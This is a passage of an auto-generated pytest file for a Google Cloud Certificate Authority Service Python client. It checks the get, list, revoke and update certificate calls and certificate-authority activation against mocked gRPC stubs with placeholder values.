credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.create_certificate( service.CreateCertificateRequest(), parent="parent_value", certificate=resources.Certificate(name="name_value"), certificate_id="certificate_id_value", ) @pytest.mark.parametrize("request_type", [service.GetCertificateRequest, dict,]) def test_get_certificate(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_certificate), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = resources.Certificate( name="name_value", issuer_certificate_authority="issuer_certificate_authority_value", certificate_template="certificate_template_value", subject_mode=resources.SubjectRequestMode.DEFAULT, pem_certificate="pem_certificate_value", pem_certificate_chain=["pem_certificate_chain_value"], pem_csr="pem_csr_value", ) response = client.get_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.GetCertificateRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.Certificate) assert response.name == "name_value" assert response.issuer_certificate_authority == "issuer_certificate_authority_value" assert response.certificate_template == "certificate_template_value" assert response.subject_mode == resources.SubjectRequestMode.DEFAULT assert response.pem_certificate == "pem_certificate_value" assert response.pem_certificate_chain == ["pem_certificate_chain_value"] def test_get_certificate_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_certificate), "__call__") as call: client.get_certificate() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.GetCertificateRequest() @pytest.mark.asyncio async def test_get_certificate_async( transport: str = "grpc_asyncio", request_type=service.GetCertificateRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_certificate), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.Certificate( name="name_value", issuer_certificate_authority="issuer_certificate_authority_value", certificate_template="certificate_template_value", subject_mode=resources.SubjectRequestMode.DEFAULT, pem_certificate="pem_certificate_value", pem_certificate_chain=["pem_certificate_chain_value"], ) ) response = await client.get_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.GetCertificateRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.Certificate) assert response.name == "name_value" assert response.issuer_certificate_authority == "issuer_certificate_authority_value" assert response.certificate_template == "certificate_template_value" assert response.subject_mode == resources.SubjectRequestMode.DEFAULT assert response.pem_certificate == "pem_certificate_value" assert response.pem_certificate_chain == ["pem_certificate_chain_value"] @pytest.mark.asyncio async def test_get_certificate_async_from_dict(): await test_get_certificate_async(request_type=dict) def test_get_certificate_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.GetCertificateRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_certificate), "__call__") as call: call.return_value = resources.Certificate() client.get_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_get_certificate_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.GetCertificateRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_certificate), "__call__") as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.Certificate() ) await client.get_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_get_certificate_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_certificate), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = resources.Certificate() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.get_certificate(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_get_certificate_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.get_certificate( service.GetCertificateRequest(), name="name_value", ) @pytest.mark.asyncio async def test_get_certificate_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object(type(client.transport.get_certificate), "__call__") as call: # Designate an appropriate return value for the call. call.return_value = resources.Certificate() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.Certificate() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.get_certificate(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_get_certificate_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.get_certificate( service.GetCertificateRequest(), name="name_value", ) @pytest.mark.parametrize("request_type", [service.ListCertificatesRequest, dict,]) def test_list_certificates(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificates), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.ListCertificatesResponse( next_page_token="next_page_token_value", unreachable=["unreachable_value"], ) response = client.list_certificates(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.ListCertificatesRequest() # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListCertificatesPager) assert response.next_page_token == "next_page_token_value" assert response.unreachable == ["unreachable_value"] def test_list_certificates_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificates), "__call__" ) as call: client.list_certificates() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.ListCertificatesRequest() @pytest.mark.asyncio async def test_list_certificates_async( transport: str = "grpc_asyncio", request_type=service.ListCertificatesRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificates), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCertificatesResponse( next_page_token="next_page_token_value", unreachable=["unreachable_value"], ) ) response = await client.list_certificates(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.ListCertificatesRequest() # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListCertificatesAsyncPager) assert response.next_page_token == "next_page_token_value" assert response.unreachable == ["unreachable_value"] @pytest.mark.asyncio async def test_list_certificates_async_from_dict(): await test_list_certificates_async(request_type=dict) def test_list_certificates_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.ListCertificatesRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificates), "__call__" ) as call: call.return_value = service.ListCertificatesResponse() client.list_certificates(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] @pytest.mark.asyncio async def test_list_certificates_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.ListCertificatesRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificates), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCertificatesResponse() ) await client.list_certificates(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] def test_list_certificates_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificates), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.ListCertificatesResponse() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.list_certificates(parent="parent_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val def test_list_certificates_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.list_certificates( service.ListCertificatesRequest(), parent="parent_value", ) @pytest.mark.asyncio async def test_list_certificates_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificates), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.ListCertificatesResponse() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCertificatesResponse() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.list_certificates(parent="parent_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val @pytest.mark.asyncio async def test_list_certificates_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.list_certificates( service.ListCertificatesRequest(), parent="parent_value", ) def test_list_certificates_pager(transport_name: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials, transport=transport_name, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificates), "__call__" ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificatesResponse( certificates=[ resources.Certificate(), resources.Certificate(), resources.Certificate(), ], next_page_token="abc", ), service.ListCertificatesResponse(certificates=[], next_page_token="def",), service.ListCertificatesResponse( certificates=[resources.Certificate(),], next_page_token="ghi", ), service.ListCertificatesResponse( certificates=[resources.Certificate(), resources.Certificate(),], ), RuntimeError, ) metadata = () metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)), ) pager = client.list_certificates(request={}) assert pager._metadata == metadata results = [i for i in pager] assert len(results) == 6 assert all(isinstance(i, resources.Certificate) for i in results) def test_list_certificates_pages(transport_name: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials, transport=transport_name, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificates), "__call__" ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificatesResponse( certificates=[ resources.Certificate(), resources.Certificate(), resources.Certificate(), ], next_page_token="abc", ), service.ListCertificatesResponse(certificates=[], next_page_token="def",), service.ListCertificatesResponse( certificates=[resources.Certificate(),], next_page_token="ghi", ), service.ListCertificatesResponse( certificates=[resources.Certificate(), resources.Certificate(),], ), RuntimeError, ) pages = list(client.list_certificates(request={}).pages) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token @pytest.mark.asyncio async def test_list_certificates_async_pager(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificates), "__call__", new_callable=mock.AsyncMock, ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificatesResponse( certificates=[ resources.Certificate(), resources.Certificate(), resources.Certificate(), ], next_page_token="abc", ), service.ListCertificatesResponse(certificates=[], next_page_token="def",), service.ListCertificatesResponse( certificates=[resources.Certificate(),], next_page_token="ghi", ), service.ListCertificatesResponse( certificates=[resources.Certificate(), resources.Certificate(),], ), RuntimeError, ) async_pager = await client.list_certificates(request={},) assert async_pager.next_page_token == "abc" responses = [] async for response in async_pager: responses.append(response) assert len(responses) == 6 assert all(isinstance(i, resources.Certificate) for i in responses) @pytest.mark.asyncio async def test_list_certificates_async_pages(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificates), "__call__", new_callable=mock.AsyncMock, ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificatesResponse( certificates=[ resources.Certificate(), resources.Certificate(), resources.Certificate(), ], next_page_token="abc", ), service.ListCertificatesResponse(certificates=[], next_page_token="def",), service.ListCertificatesResponse( certificates=[resources.Certificate(),], next_page_token="ghi", ), service.ListCertificatesResponse( certificates=[resources.Certificate(), resources.Certificate(),], ), RuntimeError, ) pages = [] async for page_ in (await client.list_certificates(request={})).pages: pages.append(page_) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token @pytest.mark.parametrize("request_type", [service.RevokeCertificateRequest, dict,]) def test_revoke_certificate(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.revoke_certificate), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.Certificate( name="name_value", issuer_certificate_authority="issuer_certificate_authority_value", certificate_template="certificate_template_value", subject_mode=resources.SubjectRequestMode.DEFAULT, pem_certificate="pem_certificate_value", pem_certificate_chain=["pem_certificate_chain_value"], pem_csr="pem_csr_value", ) response = client.revoke_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.RevokeCertificateRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.Certificate) assert response.name == "name_value" assert response.issuer_certificate_authority == "issuer_certificate_authority_value" assert response.certificate_template == "certificate_template_value" assert response.subject_mode == resources.SubjectRequestMode.DEFAULT assert response.pem_certificate == "pem_certificate_value" assert response.pem_certificate_chain == ["pem_certificate_chain_value"] def test_revoke_certificate_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.revoke_certificate), "__call__" ) as call: client.revoke_certificate() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.RevokeCertificateRequest() @pytest.mark.asyncio async def test_revoke_certificate_async( transport: str = "grpc_asyncio", request_type=service.RevokeCertificateRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.revoke_certificate), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.Certificate( name="name_value", issuer_certificate_authority="issuer_certificate_authority_value", certificate_template="certificate_template_value", subject_mode=resources.SubjectRequestMode.DEFAULT, pem_certificate="pem_certificate_value", pem_certificate_chain=["pem_certificate_chain_value"], ) ) response = await client.revoke_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.RevokeCertificateRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.Certificate) assert response.name == "name_value" assert response.issuer_certificate_authority == "issuer_certificate_authority_value" assert response.certificate_template == "certificate_template_value" assert response.subject_mode == resources.SubjectRequestMode.DEFAULT assert response.pem_certificate == "pem_certificate_value" assert response.pem_certificate_chain == ["pem_certificate_chain_value"] @pytest.mark.asyncio async def test_revoke_certificate_async_from_dict(): await test_revoke_certificate_async(request_type=dict) def test_revoke_certificate_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.RevokeCertificateRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.revoke_certificate), "__call__" ) as call: call.return_value = resources.Certificate() client.revoke_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_revoke_certificate_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.RevokeCertificateRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.revoke_certificate), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.Certificate() ) await client.revoke_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_revoke_certificate_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.revoke_certificate), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.Certificate() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.revoke_certificate(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_revoke_certificate_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.revoke_certificate( service.RevokeCertificateRequest(), name="name_value", ) @pytest.mark.asyncio async def test_revoke_certificate_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.revoke_certificate), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.Certificate() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.Certificate() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.revoke_certificate(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_revoke_certificate_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.revoke_certificate( service.RevokeCertificateRequest(), name="name_value", ) @pytest.mark.parametrize("request_type", [service.UpdateCertificateRequest, dict,]) def test_update_certificate(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.Certificate( name="name_value", issuer_certificate_authority="issuer_certificate_authority_value", certificate_template="certificate_template_value", subject_mode=resources.SubjectRequestMode.DEFAULT, pem_certificate="pem_certificate_value", pem_certificate_chain=["pem_certificate_chain_value"], pem_csr="pem_csr_value", ) response = client.update_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCertificateRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.Certificate) assert response.name == "name_value" assert response.issuer_certificate_authority == "issuer_certificate_authority_value" assert response.certificate_template == "certificate_template_value" assert response.subject_mode == resources.SubjectRequestMode.DEFAULT assert response.pem_certificate == "pem_certificate_value" assert response.pem_certificate_chain == ["pem_certificate_chain_value"] def test_update_certificate_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate), "__call__" ) as call: client.update_certificate() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCertificateRequest() @pytest.mark.asyncio async def test_update_certificate_async( transport: str = "grpc_asyncio", request_type=service.UpdateCertificateRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.Certificate( name="name_value", issuer_certificate_authority="issuer_certificate_authority_value", certificate_template="certificate_template_value", subject_mode=resources.SubjectRequestMode.DEFAULT, pem_certificate="pem_certificate_value", pem_certificate_chain=["pem_certificate_chain_value"], ) ) response = await client.update_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCertificateRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.Certificate) assert response.name == "name_value" assert response.issuer_certificate_authority == "issuer_certificate_authority_value" assert response.certificate_template == "certificate_template_value" assert response.subject_mode == resources.SubjectRequestMode.DEFAULT assert response.pem_certificate == "pem_certificate_value" assert response.pem_certificate_chain == ["pem_certificate_chain_value"] @pytest.mark.asyncio async def test_update_certificate_async_from_dict(): await test_update_certificate_async(request_type=dict) def test_update_certificate_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.UpdateCertificateRequest() request.certificate.name = "certificate.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate), "__call__" ) as call: call.return_value = resources.Certificate() client.update_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "certificate.name=certificate.name/value",) in kw[ "metadata" ] @pytest.mark.asyncio async def test_update_certificate_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.UpdateCertificateRequest() request.certificate.name = "certificate.name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.Certificate() ) await client.update_certificate(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "certificate.name=certificate.name/value",) in kw[ "metadata" ] def test_update_certificate_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.Certificate() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.update_certificate( certificate=resources.Certificate(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].certificate mock_val = resources.Certificate(name="name_value") assert arg == mock_val arg = args[0].update_mask mock_val = field_mask_pb2.FieldMask(paths=["paths_value"]) assert arg == mock_val def test_update_certificate_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.update_certificate( service.UpdateCertificateRequest(), certificate=resources.Certificate(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) @pytest.mark.asyncio async def test_update_certificate_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.Certificate() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.Certificate() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.update_certificate( certificate=resources.Certificate(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].certificate mock_val = resources.Certificate(name="name_value") assert arg == mock_val arg = args[0].update_mask mock_val = field_mask_pb2.FieldMask(paths=["paths_value"]) assert arg == mock_val @pytest.mark.asyncio async def test_update_certificate_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.update_certificate( service.UpdateCertificateRequest(), certificate=resources.Certificate(name="name_value"), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) @pytest.mark.parametrize( "request_type", [service.ActivateCertificateAuthorityRequest, dict,] ) def test_activate_certificate_authority(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.activate_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.activate_certificate_authority(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.ActivateCertificateAuthorityRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_activate_certificate_authority_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.activate_certificate_authority), "__call__" ) as call: client.activate_certificate_authority() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.ActivateCertificateAuthorityRequest() @pytest.mark.asyncio async def test_activate_certificate_authority_async( transport: str = "grpc_asyncio", request_type=service.ActivateCertificateAuthorityRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.activate_certificate_authority), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = 